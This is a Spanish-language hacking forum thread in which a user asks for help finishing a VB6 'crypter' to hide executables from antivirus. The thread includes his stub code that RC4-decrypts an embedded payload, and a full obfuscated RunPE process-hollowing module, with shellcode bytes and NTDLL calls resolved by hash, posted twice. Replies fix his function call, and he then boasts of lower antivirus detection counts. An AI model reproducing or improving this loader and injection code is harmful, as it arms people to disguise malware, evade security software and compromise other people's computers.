Hola últimamente estoy teniendo problemas con lo de crear crypters, mi error es haora que estoy sigieno el siguiente video([Enlace externo eliminado para invitados]) bueno hay me dice que renplase
Inject Yo, StrConv(sData(1), vbFromUnicode), vbNullString, que renplaze el Inject bueno en el generaor runpe me dice Modo de uso : Call Inject(sByte, sApp.Path , Command).
Bueno yo lo deje como esta en Inject pero haora me salta un error donde dice Yo, Error de tipo:se esperaba una matriz o un tipo definido por el usuario, espero que me puedan ayudar, otro problema que tengo tanbien es en la encryptacion RC4, tengo un generador pero nose si ponerlo porque no dice public fuction RC4 sino enves de RC4 un monton de algoritmos, Espero su Ayuda.
Salu2
Sub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), "DarkJairo60026112")
Injec yo,strconv(sData(1),vbFromUnicode),vbNullString
End Sub
ese es el sub main que tnego nose si abra algun conflicto para que me tire ese error
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), "DarkJairo60026112")
Injec yo,strconv(sData(1),vbFromUnicode),vbNullString
End Sub
ese es el sub main que tnego nose si abra algun conflicto para que me tire ese error
Alguien que me ayude hace semanas que intento crear un crypter y me salta este error, no es broma :p
Con este tutorial quizá puedas aprender más sobre los crypters. Antes de empezar a hacer un crypter (y cualquier otra herramienta) deberías aprender los fundamentos de la programación.
Blau men ya bi ese tutorial, se como funciona pero nose porque me da ese error
CALL Injec (yo,strconv(sData(1),vbFromUnicode),vbNullString <<<<<<<<<<<<<<<<<<<<<<<<aca esta tu error te falto "CALL" fijate en el runpe si te coincide la funcion me refiero el nombre "injec" este ultimo puede ser cualquiera inject runpe manzanas limones etc....
fijate si poniendo esto asi funciona
Call injec(yo, StrConv(sData(1), vbFromUnicode))
Te faltan conceptos muy basicos si miraste volve a mirar todos los tutos sobre el tema
Suerte
fijate si poniendo esto asi funciona
Call injec(yo, StrConv(sData(1), vbFromUnicode))
Te faltan conceptos muy basicos si miraste volve a mirar todos los tutos sobre el tema
Suerte
¿Y si injec no es un sub? Muchos RunPEs son funciones que devuelven el PID del proceso creado.TITAN escribió:CALL Injec (yo,strconv(sData(1),vbFromUnicode),vbNullString <<<<<<<<<<<<<<<<<<<<<<<<aca esta tu error te falto "CALL" fijate en el runpe si te coincide la funcion me refiero el nombre "injec" este ultimo puede ser cualquiera inject runpe manzanas limones etc....
fijate si poniendo esto asi funciona
Call injec(yo, StrConv(sData(1), vbFromUnicode))
Te faltan conceptos muy basicos si miraste volve a mirar todos los tutos sobre el tema
Suerte
por eso le dije que probara, si postea el runpe nos sacamos las dudas, pero me juego que el rumpe q tiene es algo asi
Public Sub inject (ByVal lalala As String, sarasa () As Byte)
Public Sub inject (ByVal lalala As String, sarasa () As Byte)
masterhack escribió:Modo de uso : Call Inject(sByte, sApp.Path , Command).
Tú mismo te contestas. El modo de uso es: archivo, ruta y argumentos. Tú lo estás usando: ruta, archivo y argumentos.masterhack escribió:Injec yo,strconv(sData(1),vbFromUnicode),vbNullString
Injec strconv(sData(1),vbFromUnicode), yo, vbNullString
Option Explicit
Option Base 0
Private Type MopFlsArsNh
StsGuthRmoOALo As Long
End Type
Private Type EqMlFsPpRtjMRlJi
RqhJBisFAlmERunFC As Byte
CqnSNmLj As Byte
B3 As Byte
MtGlliJjpGt As Byte
End Type
Private Declare Function CallWindowProcA Lib "user32"(ByVal DpiSQlOm As Long, Optional ByVal FtqLSBJrt As Long, Optional ByVal PhpQnqoKo As Long, Optional ByVal GnlAFuhnm As Long, Optional ByVal KjoFLpCQq As Long) As Long
Private KGisSrLPA As Boolean
Private qSmirQoBrnoKj(170) As Byte
Private DhiEChoMJPBD (255) As Byte
Private Const kernel32 As String = "KERNEL32"
Private Const NTDLL As String = "NTDLL"
Public Function Inject(ByRef EiLCQBnltrFqlBhmOlDoFm() As Byte, ByVal piqGu As String, Optional ByVal KCjEOhoNOE As String, Optional ByRef lMnOrSiGmNmOiLului As Long) As Boolean
Dim tJnPPqrREonrDn As Long
Dim AoDtpNuE As Long
Dim RsqtPn As Long
Dim jnltLGnP As Long
Dim RjGnFoioRp As Long
Dim puomPFFDEArs (16) As Long
Dim BuLmCoDuiAEp(3) As Long
Dim iusrnACC (50) As Long
tJnPPqrREonrDn = VarPtr(EiLCQBnltrFqlBhmOlDoFm(0))
If Not jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn, 2) = &H5A4D Then Exit Function
AoDtpNuE = tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn + &H3C)
If Not jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE) = &H4550 Then Exit Function
jnltLGnP = jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H34)
puomPFFDEArs (0) = &H44
Call pOp (sReV(Chr$(50) & Chr$(51) & Chr$(76) & Chr$(69) & Chr$(78) & Chr$(82) & Chr$(69) & Chr$(75)), &H16B3FE88, StrPtr(piqGu), StrPtr(KCjEOhoNOE ), 0, 0, 0, &H4, 0, 0, VarPtr(puomPFFDEArs (0)), VarPtr( BuLmCoDuiAEp(0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HF21037D0, BuLmCoDuiAEp(0), jnltLGnP )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HD33BCABD, BuLmCoDuiAEp(0), VarPtr(jnltLGnP ), 0, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H50)), &H3000, &H40)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP , VarPtr(EiLCQBnltrFqlBhmOlDoFm(0)), jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H54), 0)
For RjGnFoioRp = 0 To jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H6, 2) - 1
RsqtPn = AoDtpNuE + &HF8 + (&H28 * RjGnFoioRp )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &HC), tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H14), jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H10), 0)
Next RjGnFoioRp
iusrnACC (0) = &H10007
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HE935E393, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), iusrnACC (41) + &H8, VarPtr(jnltLGnP ), &H4, 0)
iusrnACC (44) = jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H28)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &H6935E395, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC54A46C8, BuLmCoDuiAEp(1), 0)
lMnOrSiGmNmOiLului = BuLmCoDuiAEp(0)
Inject = True
End Function
Private Function jRhBsmoCijAropDorNntNiqNhnGl (ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, -1, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl ), lPtr, lSize, 0)
End Function
Public Function pOp (ByVal OjiAimDRt As String, ByVal JrClh As Long, ParamArray KniF () As Variant) As Long
Dim RsMSNl As Variant
Dim qtKjtmEO As EqMlFsPpRtjMRlJi
Dim mnRCqmBDinupo As Long
Dim RjGnFoioRp As Long
Dim tqnMhrr As Long
If Not KGisSrLPA Then
For RjGnFoioRp = 0 To 170
qSmirQoBrnoKj(RjGnFoioRp ) = CByte(Choose(RjGnFoioRp + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
&H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
Next RjGnFoioRp
RjGnFoioRp = 0
KGisSrLPA = True
End If
mnRCqmBDinupo = CallWindowProcA(VarPtr(qSmirQoBrnoKj(0)), StrPtr(OjiAimDRt ), JrClh )
If mnRCqmBDinupo Then
For tqnMhrr = UBound(KniF ) To LBound(KniF ) Step -1
qtKjtmEO = oDqNpsCs (CLng(KniF (tqnMhrr )))
Call nKjqK (&H68, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Next tqnMhrr
qtKjtmEO = oDqNpsCs (mnRCqmBDinupo )
Call nKjqK (&HB8, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Call nKjqK (&HFF, RjGnFoioRp ): Call nKjqK (&HD0, RjGnFoioRp )
Call nKjqK (&HC3, RjGnFoioRp )
pOp = CallWindowProcA(VarPtr(DhiEChoMJPBD(0)))
End If
End Function
Private Sub nKjqK (ByVal RtnKssmDESCLBD As Byte, ByRef rKjRoAnlrQ As Long)
DhiEChoMJPBD(rKjRoAnlrQ ) = RtnKssmDESCLBD
rKjRoAnlrQ = rKjRoAnlrQ + 1
End Sub
Private Function oDqNpsCs (ByVal jBtiMtD As Long) As EqMlFsPpRtjMRlJi
Dim uLptJlthnNlmGolJ As MopFlsArsNh
uLptJlthnNlmGolJ.StsGuthRmoOALo = jBtiMtD
LSet oDqNpsCs = uLptJlthnNlmGolJ
End Function
Function sReV(sStr As String) As String
Dim A() As Byte
Dim i As Long
A = sStr
For i = UBound(A) - 1 To 0 Step -2
sReV = sReV & Chr(A(i))
Next i
End Function
'*** RunPe Generator M3 v1.0 ***
'*** RunPe Base Karcrack ***
'*** Codeado por M3n3g@tt1 ***
'*** Utilizaccion : Call Inject(sByte, sApp.Path , Command) ***
Option Base 0
Private Type MopFlsArsNh
StsGuthRmoOALo As Long
End Type
Private Type EqMlFsPpRtjMRlJi
RqhJBisFAlmERunFC As Byte
CqnSNmLj As Byte
B3 As Byte
MtGlliJjpGt As Byte
End Type
Private Declare Function CallWindowProcA Lib "user32"(ByVal DpiSQlOm As Long, Optional ByVal FtqLSBJrt As Long, Optional ByVal PhpQnqoKo As Long, Optional ByVal GnlAFuhnm As Long, Optional ByVal KjoFLpCQq As Long) As Long
Private KGisSrLPA As Boolean
Private qSmirQoBrnoKj(170) As Byte
Private DhiEChoMJPBD (255) As Byte
Private Const kernel32 As String = "KERNEL32"
Private Const NTDLL As String = "NTDLL"
Public Function Inject(ByRef EiLCQBnltrFqlBhmOlDoFm() As Byte, ByVal piqGu As String, Optional ByVal KCjEOhoNOE As String, Optional ByRef lMnOrSiGmNmOiLului As Long) As Boolean
Dim tJnPPqrREonrDn As Long
Dim AoDtpNuE As Long
Dim RsqtPn As Long
Dim jnltLGnP As Long
Dim RjGnFoioRp As Long
Dim puomPFFDEArs (16) As Long
Dim BuLmCoDuiAEp(3) As Long
Dim iusrnACC (50) As Long
tJnPPqrREonrDn = VarPtr(EiLCQBnltrFqlBhmOlDoFm(0))
If Not jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn, 2) = &H5A4D Then Exit Function
AoDtpNuE = tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn + &H3C)
If Not jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE) = &H4550 Then Exit Function
jnltLGnP = jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H34)
puomPFFDEArs (0) = &H44
Call pOp (sReV(Chr$(50) & Chr$(51) & Chr$(76) & Chr$(69) & Chr$(78) & Chr$(82) & Chr$(69) & Chr$(75)), &H16B3FE88, StrPtr(piqGu), StrPtr(KCjEOhoNOE ), 0, 0, 0, &H4, 0, 0, VarPtr(puomPFFDEArs (0)), VarPtr( BuLmCoDuiAEp(0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HF21037D0, BuLmCoDuiAEp(0), jnltLGnP )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HD33BCABD, BuLmCoDuiAEp(0), VarPtr(jnltLGnP ), 0, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H50)), &H3000, &H40)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP , VarPtr(EiLCQBnltrFqlBhmOlDoFm(0)), jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H54), 0)
For RjGnFoioRp = 0 To jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H6, 2) - 1
RsqtPn = AoDtpNuE + &HF8 + (&H28 * RjGnFoioRp )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &HC), tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H14), jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H10), 0)
Next RjGnFoioRp
iusrnACC (0) = &H10007
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HE935E393, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), iusrnACC (41) + &H8, VarPtr(jnltLGnP ), &H4, 0)
iusrnACC (44) = jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H28)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &H6935E395, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC54A46C8, BuLmCoDuiAEp(1), 0)
lMnOrSiGmNmOiLului = BuLmCoDuiAEp(0)
Inject = True
End Function
Private Function jRhBsmoCijAropDorNntNiqNhnGl (ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, -1, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl ), lPtr, lSize, 0)
End Function
Public Function pOp (ByVal OjiAimDRt As String, ByVal JrClh As Long, ParamArray KniF () As Variant) As Long
Dim RsMSNl As Variant
Dim qtKjtmEO As EqMlFsPpRtjMRlJi
Dim mnRCqmBDinupo As Long
Dim RjGnFoioRp As Long
Dim tqnMhrr As Long
If Not KGisSrLPA Then
For RjGnFoioRp = 0 To 170
qSmirQoBrnoKj(RjGnFoioRp ) = CByte(Choose(RjGnFoioRp + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
&H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
Next RjGnFoioRp
RjGnFoioRp = 0
KGisSrLPA = True
End If
mnRCqmBDinupo = CallWindowProcA(VarPtr(qSmirQoBrnoKj(0)), StrPtr(OjiAimDRt ), JrClh )
If mnRCqmBDinupo Then
For tqnMhrr = UBound(KniF ) To LBound(KniF ) Step -1
qtKjtmEO = oDqNpsCs (CLng(KniF (tqnMhrr )))
Call nKjqK (&H68, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Next tqnMhrr
qtKjtmEO = oDqNpsCs (mnRCqmBDinupo )
Call nKjqK (&HB8, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Call nKjqK (&HFF, RjGnFoioRp ): Call nKjqK (&HD0, RjGnFoioRp )
Call nKjqK (&HC3, RjGnFoioRp )
pOp = CallWindowProcA(VarPtr(DhiEChoMJPBD(0)))
End If
End Function
Private Sub nKjqK (ByVal RtnKssmDESCLBD As Byte, ByRef rKjRoAnlrQ As Long)
DhiEChoMJPBD(rKjRoAnlrQ ) = RtnKssmDESCLBD
rKjRoAnlrQ = rKjRoAnlrQ + 1
End Sub
Private Function oDqNpsCs (ByVal jBtiMtD As Long) As EqMlFsPpRtjMRlJi
Dim uLptJlthnNlmGolJ As MopFlsArsNh
uLptJlthnNlmGolJ.StsGuthRmoOALo = jBtiMtD
LSet oDqNpsCs = uLptJlthnNlmGolJ
End Function
Function sReV(sStr As String) As String
Dim A() As Byte
Dim i As Long
A = sStr
For i = UBound(A) - 1 To 0 Step -2
sReV = sReV & Chr(A(i))
Next i
End Function
'*** RunPe Generator M3 v1.0 ***
'*** RunPe Base Karcrack ***
'*** Codeado por M3n3g@tt1 ***
'*** Utilizaccion : Call Inject(sByte, sApp.Path , Command) ***
me confundo un poco con los tutoriales porque asen algo diferente, mi error creo que fue lo del ultimo que dice como ultilizar el runpe, pero no me dice nada yo le pongo Inject, pero me señala que el error esta en el submain en la string YO. Alguna solucion
[Enlace externo eliminado para invitados].
miren mi primer crypter , no lo hice con el runpe que tengo lo hise con el runpe del video pero la rc4 no, 26 de 34, haora a aprender moding sera ps
miren mi primer crypter , no lo hice con el runpe que tengo lo hise con el runpe del video pero la rc4 no, 26 de 34, haora a aprender moding sera ps
Gracias Blau, me funciono lo que me dijiste aunque sea detectado or 21 antivirus algo es algo, nose porque mis codigos estan asi ero bueno gracias